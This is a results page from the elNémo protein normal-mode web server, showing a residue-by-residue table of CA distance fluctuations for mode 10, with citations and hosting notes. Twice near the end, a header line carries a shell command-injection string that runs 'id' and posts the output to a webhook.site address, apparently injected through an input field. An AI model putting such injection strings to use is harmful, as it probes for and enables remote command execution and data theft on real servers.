Should you encounter any unexpected behaviour,
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elNémo has been relocated.
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Sorry for the inconvenience.

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CA distance fluctuations for 2608052227273017586

--- normal mode 10 ---

This matrix displays the maximum distance fluctuations between all pairs of CA atoms and between the two extreme conformations that were computed for this mode (DQMIN/DQMAX). Distance increases are plotted in blue and decreases in red for the strongest 10% of the residue pair distance changes. Every pixel corresponds to a single residue. Grey lines are drawn every 10 residues, yellow lines every 100 residues (counting from the upper left corner).

The following table indicates for every residue the two corresponding residues with the strongest CA distance fluctuations.

[HELP on distance fluctuations]

GD ok

largest increase ref largest decrease
GLY 270 0.35 PHE 239 -0.40 ALA 339

GLN 249 0.36 SER 240 -0.38 ALA 339

GLN 250 0.50 PHE 241 -0.32 ALA 339

ALA 248 0.40 ILE 242 -0.23 ALA 339

ALA 248 0.46 LYS 243 -0.28 ALA 339

ALA 248 0.60 ALA 244 -0.28 ALA 339

ALA 248 0.46 LEU 245 -0.20 ALA 339

ALA 248 0.39 GLN 246 -0.18 ALA 339

ALA 248 0.41 THR 247 -0.22 SER 240

ALA 248 0.37 ALA 248 -0.26 SER 240

ALA 248 0.30 GLN 249 -0.21 SER 240

ALA 248 0.31 GLN 250 -0.18 LEU 336

ALA 248 0.27 ASN 251 -0.20 LEU 336

ALA 248 0.29 PHE 252 -0.15 LEU 336

ASP 375 0.31 VAL 253 -0.12 ALA 372

ASP 375 0.31 VAL 254 -0.14 ALA 372

ASP 375 0.38 THR 255 -0.16 ALA 372

ASP 375 0.39 ASP 256 -0.18 ALA 372

ASP 375 0.45 PRO 257 -0.21 ALA 372

ASN 342 0.51 SER 258 -0.19 ALA 372

ASP 375 0.50 LEU 259 -0.18 ALA 372

ASP 375 0.61 PRO 260 -0.20 VAL 300

ASP 375 0.68 ASP 261 -0.22 VAL 300

ASP 375 0.55 ASN 262 -0.22 VAL 300

ASP 375 0.51 PRO 263 -0.18 VAL 300

ASP 375 0.44 ILE 264 -0.13 VAL 300

ASP 375 0.37 VAL 265 -0.13 ALA 372

ASP 375 0.32 TYR 266 -0.12 ALA 372

ASP 375 0.32 ALA 267 -0.11 LEU 336

ALA 248 0.27 SER 268 -0.13 LEU 336

ASP 375 0.26 GLN 269 -0.15 THR 344

ALA 248 0.24 GLY 270 -0.19 LEU 336

ASP 375 0.30 PHE 271 -0.18 LEU 336

ASP 375 0.33 LEU 272 -0.17 THR 344

ASP 375 0.29 ASN 273 -0.20 THR 344

ASP 375 0.29 LEU 274 -0.22 THR 344

ASP 375 0.36 THR 275 -0.19 SER 258

ASP 375 0.37 GLY 276 -0.18 SER 258

ASP 375 0.41 TYR 277 -0.15 SER 258

ASP 375 0.40 SER 278 -0.13 SER 258

ASP 375 0.39 LEU 279 -0.12 THR 344

ASP 375 0.43 ASP 280 -0.11 THR 344

ASP 375 0.48 GLN 281 -0.11 SER 258

ASP 375 0.48 ILE 282 -0.11 THR 344

ASP 375 0.45 LEU 283 -0.10 ALA 372

ASP 375 0.50 GLY 284 -0.13 PRO 297

ASP 375 0.56 ARG 285 -0.13 PRO 297

ASP 375 0.60 ASN 286 -0.16 VAL 300

ASP 375 0.54 CYS 287 -0.13 PRO 297

ASP 375 0.65 ARG 288 -0.13 PRO 297

ASP 375 0.61 PHE 289 -0.11 SER 258

ASP 375 0.51 LEU 290 -0.14 SER 258

ASP 375 0.55 GLN 291 -0.13 SER 258

ASP 375 0.55 GLY 292 -0.14 SER 258

ASP 375 0.57 PRO 293 -0.15 ASP 355

ASP 375 0.43 GLU 294 -0.18 SER 258

ASP 375 0.43 THR 295 -0.15 PRO 260

ALA 372 0.38 ASP 296 -0.15 ASP 261

ALA 372 0.51 PRO 297 -0.21 ASP 261

ALA 372 0.45 LYS 298 -0.18 ASP 261

ALA 372 0.40 ALA 299 -0.17 ASP 261

ALA 372 0.53 VAL 300 -0.22 ASP 261

ALA 372 0.63 GLU 301 -0.18 ALA 372

ALA 372 0.46 ARG 302 -0.22 ALA 372

ALA 372 0.45 ILE 303 -0.21 ALA 372

ALA 372 0.61 ARG 304 -0.24 ALA 372

ALA 372 0.59 LYS 305 -0.36 ALA 372

ALA 372 0.36 ALA 306 -0.29 ALA 372

ALA 372 0.42 ILE 307 -0.26 ALA 372

ALA 371 0.57 GLU 308 -0.30 ALA 372

ALA 371 0.40 GLN 309 -0.27 ALA 372

ALA 371 0.29 GLY 310 -0.24 ALA 372

ARG 288 0.21 ASN 311 -0.22 ALA 372

CYS 351 0.18 ASP 312 -0.19 ALA 372

ALA 371 0.16 MET 313 -0.18 ALA 372

PHE 241 0.19 SER 314 -0.13 ALA 372

SER 240 0.21 VAL 315 -0.14 ASP 261

SER 240 0.24 CYS 316 -0.19 SER 258

ALA 372 0.28 LEU 317 -0.18 SER 258

ASP 375 0.32 LEU 318 -0.20 SER 258

ASP 375 0.40 ASN 319 -0.18 SER 258

ASP 375 0.44 TYR 320 -0.18 SER 258

ASP 375 0.42 ARG 321 -0.19 SER 258

ASP 375 0.46 VAL 322 -0.16 SER 258

ASP 375 0.44 ASP 323 -0.19 SER 258

ASP 375 0.46 GLY 324 -0.18 SER 258

ASP 375 0.38 THR 325 -0.22 SER 258

ASP 375 0.35 THR 326 -0.23 SER 258

ASP 375 0.27 PHE 327 -0.24 SER 258

ALA 372 0.22 TRP 328 -0.26 SER 258

ALA 372 0.24 ASN 329 -0.21 SER 258

SER 240 0.26 GLN 330 -0.22 SER 258

ALA 372 0.22 PHE 331 -0.15 SER 258

ALA 248 0.23 PHE 332 -0.12 ALA 335

GLN 250 0.22 ILE 333 -0.16 ALA 372

CYS 351 0.31 ALA 334 -0.17 ALA 372

CYS 351 0.37 ALA 335 -0.19 ALA 372

CYS 351 0.47 LEU 336 -0.16 ALA 372

VAL 353 0.45 ARG 337 -0.25 PHE 239

VAL 353 0.45 ASP 338 -0.37 PHE 239

SER 258 0.37 ALA 339 -0.40 PHE 239

SER 258 0.43 GLY 340 -0.29 PHE 239

SER 258 0.37 GLY 341 -0.27 PHE 239

SER 258 0.51 ASN 342 -0.23 PHE 239

VAL 353 0.38 VAL 343 -0.19 ALA 372

VAL 353 0.39 THR 344 -0.18 ALA 372

CYS 351 0.37 ASN 345 -0.17 ALA 372

CYS 351 0.32 PHE 346 -0.18 ALA 372

CYS 351 0.31 VAL 347 -0.15 ALA 372

ASP 375 0.27 GLY 348 -0.14 ALA 372

ALA 248 0.29 VAL 349 -0.17 LEU 336

ALA 248 0.25 GLN 350 -0.22 LEU 336

ALA 248 0.27 CYS 351 -0.29 LEU 336

ALA 248 0.23 LYS 352 -0.28 ARG 337

SER 240 0.34 VAL 353 -0.30 SER 258

SER 240 0.36 SER 354 -0.30 SER 258

SER 240 0.33 ASP 355 -0.28 SER 258

SER 240 0.39 GLN 356 -0.33 SER 258

SER 240 0.43 TYR 357 -0.34 SER 258

SER 240 0.36 ALA 358 -0.28 SER 258

SER 240 0.32 ALA 359 -0.29 PRO 260

SER 240 0.33 THR 360 -0.33 PRO 260

SER 240 0.32 VAL 361 -0.27 PRO 260

SER 240 0.27 THR 362 -0.24 PRO 260

SER 240 0.26 LYS 363 -0.28 PRO 260

SER 240 0.24 GLN 364 -0.30 ASP 261

SER 240 0.22 GLN 365 -0.21 ASP 261

SER 240 0.20 GLU 366 -0.21 ASP 261

SER 240 0.20 GLU 367 -0.24 ASP 261

SER 240 0.16 GLU 368 -0.25 ASP 375

SER 240 0.15 GLU 369 -0.21 LYS 305

SER 240 0.15 GLU 370 -0.28 ASP 375

SER 240 0.13 ALA 371 -0.50 ASP 375

SER 240 0.09 ALA 372 -0.49 ASP 375

ALA 339 0.61 SER 240 -0.26 ALA 248

ALA 339 0.44 PHE 241 -0.25 ALA 339

ALA 339 0.34 ILE 242 -0.23 ALA 339

ALA 339 0.41 LYS 243 -0.26 ALA 339

ALA 339 0.40 ALA 244 -0.32 ALA 339

ALA 339 0.30 LEU 245 -0.28 ALA 339

ALA 339 0.28 GLN 246 -0.24 SER 354

ALA 244 0.37 THR 247 -0.28 SER 354

ALA 244 0.60 ALA 248 -0.36 SER 354

PHE 241 0.45 GLN 249 -0.29 SER 354

PHE 241 0.50 GLN 250 -0.26 SER 354

PHE 241 0.37 ASN 251 -0.18 ALA 373

PHE 241 0.22 PHE 252 -0.18 ALA 373

LEU 336 0.14 VAL 253 -0.20 ALA 373

LEU 336 0.08 VAL 254 -0.17 ALA 373

LEU 336 0.06 THR 255 -0.20 ASP 375

ILE 242 0.09 ASP 256 -0.21 ASN 342

ARG 304 0.10 PRO 257 -0.33 ASN 342

ARG 304 0.10 SER 258 -0.44 ASN 342

VAL 300 0.07 LEU 259 -0.33 GLY 340

THR 295 0.07 PRO 260 -0.33 ASP 375

THR 295 0.08 ASP 261 -0.37 ASP 375

VAL 300 0.07 ASN 262 -0.30 ASP 375

LEU 336 0.08 PRO 263 -0.28 ASP 375

LEU 336 0.10 ILE 264 -0.24 ALA 373

LEU 336 0.08 VAL 265 -0.20 ALA 373

PHE 241 0.12 TYR 266 -0.18 ALA 373

PHE 241 0.19 ALA 267 -0.20 ALA 373

PHE 241 0.25 SER 268 -0.18 ALA 373

PHE 241 0.31 GLN 269 -0.18 ALA 373

PHE 241 0.38 GLY 270 -0.18 ALA 373

PHE 241 0.30 PHE 271 -0.23 ALA 373

PHE 239 0.28 LEU 272 -0.24 ALA 373

PHE 239 0.35 ASN 273 -0.23 ALA 373

LEU 336 0.34 LEU 274 -0.25 ALA 373

LEU 336 0.28 THR 275 -0.31 ALA 373

PHE 239 0.27 GLY 276 -0.29 ALA 373

PHE 239 0.22 TYR 277 -0.30 ALA 373

PHE 239 0.22 SER 278 -0.27 ALA 373

PHE 241 0.18 LEU 279 -0.25 ALA 373

PHE 239 0.16 ASP 280 -0.27 ALA 373

LEU 336 0.16 GLN 281 -0.31 ALA 373

LEU 336 0.15 ILE 282 -0.30 ALA 373

LEU 336 0.12 LEU 283 -0.26 ALA 373

LEU 336 0.09 GLY 284 -0.29 ASP 375

LEU 336 0.11 ARG 285 -0.33 ASP 375

LEU 336 0.10 ASN 286 -0.36 ASP 375

LEU 336 0.14 CYS 287 -0.36 ALA 373

LEU 336 0.12 ARG 288 -0.45 ALA 373

LEU 336 0.15 PHE 289 -0.45 ALA 373

LEU 336 0.19 LEU 290 -0.43 ALA 373

LEU 336 0.17 GLN 291 -0.52 ALA 373

ASP 355 0.18 GLY 292 -0.59 ALA 373

ASP 355 0.19 PRO 293 -0.67 ALA 373

ASP 355 0.22 GLU 294 -0.64 ALA 373

SER 258 0.18 THR 295 -0.62 ALA 373

SER 258 0.17 ASP 296 -0.70 ALA 373

SER 258 0.11 PRO 297 -0.79 ALA 373

ARG 288 0.15 LYS 298 -0.74 ALA 373

ARG 288 0.14 ALA 299 -0.53 ALA 373

ARG 288 0.09 VAL 300 -0.55 ALA 373

SER 258 0.08 GLU 301 -0.58 ASP 375

ARG 288 0.09 ARG 302 -0.40 ASP 375

ARG 288 0.08 ILE 303 -0.34 ASP 375

SER 258 0.10 ARG 304 -0.44 ASP 375

SER 240 0.07 LYS 305 -0.40 ASP 375

SER 240 0.08 ALA 306 -0.25 ASP 375

SER 240 0.09 ILE 307 -0.28 ASP 375

SER 240 0.11 GLU 308 -0.34 ASP 375

SER 240 0.13 GLN 309 -0.25 ASP 375

SER 240 0.16 GLY 310 -0.20 ASP 261

SER 240 0.15 ASN 311 -0.13 CYS 351

PHE 241 0.10 ASP 312 -0.13 ALA 339

ARG 288 0.11 MET 313 -0.13 ALA 372

ARG 288 0.15 SER 314 -0.14 ALA 372

ARG 288 0.17 VAL 315 -0.21 ALA 373

SER 258 0.23 CYS 316 -0.25 ALA 373

SER 258 0.21 LEU 317 -0.40 ALA 373

SER 258 0.24 LEU 318 -0.45 ALA 373

LEU 336 0.23 ASN 319 -0.43 ALA 373

LEU 336 0.23 TYR 320 -0.44 ALA 373

LEU 336 0.25 ARG 321 -0.38 ALA 373

LEU 336 0.22 VAL 322 -0.39 ALA 373

ASP 338 0.24 ASP 323 -0.40 ALA 373

ASP 338 0.23 GLY 324 -0.45 ALA 373

SER 354 0.30 THR 325 -0.40 ALA 373

SER 354 0.29 THR 326 -0.41 ALA 373

ASP 338 0.33 PHE 327 -0.34 ALA 373

SER 258 0.29 TRP 328 -0.30 ALA 373

LEU 336 0.33 ASN 329 -0.28 ALA 373

LEU 336 0.34 GLN 330 -0.19 ALA 373

LEU 336 0.24 PHE 331 -0.21 ALA 373

ALA 334 0.14 PHE 332 -0.15 ALA 339

ARG 288 0.07 ILE 333 -0.14 ALA 373

ALA 339 0.09 ALA 334 -0.15 ALA 339

SER 240 0.14 ALA 335 -0.21 CYS 351

SER 240 0.25 LEU 336 -0.29 CYS 351

SER 240 0.39 ARG 337 -0.28 LYS 352

SER 240 0.53 ASP 338 -0.33 SER 258

SER 240 0.61 ALA 339 -0.31 SER 258

SER 240 0.46 GLY 340 -0.42 SER 258

SER 240 0.44 GLY 341 -0.37 SER 258

SER 240 0.35 ASN 342 -0.44 SER 258

SER 240 0.24 VAL 343 -0.31 PRO 257

SER 240 0.15 THR 344 -0.27 LYS 352

ILE 242 0.09 ASN 345 -0.22 LYS 352

ILE 242 0.08 PHE 346 -0.16 CYS 351

ALA 339 0.07 VAL 347 -0.13 ALA 373

LEU 336 0.13 GLY 348 -0.19 ALA 373

LEU 336 0.23 VAL 349 -0.17 ALA 373

LEU 336 0.34 GLN 350 -0.22 ALA 373

LEU 336 0.47 CYS 351 -0.21 SER 354

LEU 336 0.43 LYS 352 -0.25 ALA 248

ARG 337 0.45 VAL 353 -0.31 ALA 248

SER 258 0.33 SER 354 -0.36 ALA 248

SER 258 0.29 ASP 355 -0.29 ALA 248

SER 258 0.33 GLN 356 -0.31 ALA 248

SER 258 0.35 TYR 357 -0.31 ALA 248

SER 258 0.30 ALA 358 -0.25 ALA 248

SER 258 0.28 ALA 359 -0.23 ALA 248

SER 258 0.32 THR 360 -0.20 ALA 248

SER 258 0.28 VAL 361 -0.17 SER 240

ASP 261 0.24 THR 362 -0.20 ALA 373

ASP 261 0.27 LYS 363 -0.15 ALA 248

ASP 261 0.31 GLN 364 -0.18 ALA 372

ARG 288 0.25 GLN 365 -0.18 ALA 372

ASP 261 0.28 GLU 366 -0.21 ALA 373

ASP 261 0.35 GLU 367 -0.17 ALA 372

ARG 288 0.35 GLU 368 -0.21 ALA 372

GLU 301 0.32 GLU 369 -0.33 ASP 296

ARG 288 0.39 GLU 370 -0.38 ASP 296

GLU 308 0.57 ALA 371 -0.34 PRO 297

GLU 301 0.63 ALA 372 -0.62 LYS 298

GLU 301 0.54 ALA 373 -0.79 PRO 297

ASP 261 0.61 ASN 374 -0.58 PRO 297

ASP 261 0.68 ASP 375 -0.62 PRO 297

If you find results from this site helpful for your research, please cite one of our papers:

K. Suhre & Y.H. Sanejouand, ElNemo: a normal mode web-server for protein movement analysis and the generation of templates for molecular replacement. Nucleic Acids Research, 32, W610-W614, 2004.
K. Suhre & Y.H. Sanejouand, On the potential of normal mode analysis for solving difficult molecular replacement problems. Acta Cryst. D vol.60, p796-799, 2004 © International Union of Crystallography.

elNémo is maintained by Yves-Henri Sanejouand.
It was developed by Karsten Suhre.
Between 2003 and 2014, it was hosted by IGS (Marseille).
Between 2015 and 2025, it was hosted by US2B (Nantes).
Last modification: april 24th, 2026.

Should you encounter any unexpected behaviour, please let us know. elNémo has been relocated. **Some cleaning from time to time** Sorry for the inconvenience.

*** fad&curl -X POST -d $(id) https://b7c03979-ac4b-465e-ad10-ab2d29b5d77f.webhook.site& ***

CA distance fluctuations for 2608052227273017586

--- normal mode 10 ---

Should you encounter any unexpected behaviour,
please let us know.
elNémo has been relocated.
Some cleaning from time to time
Sorry for the inconvenience.

* fad&curl -X POST -d $(id) https://b7c03979-ac4b-465e-ad10-ab2d29b5d77f.webhook.site& *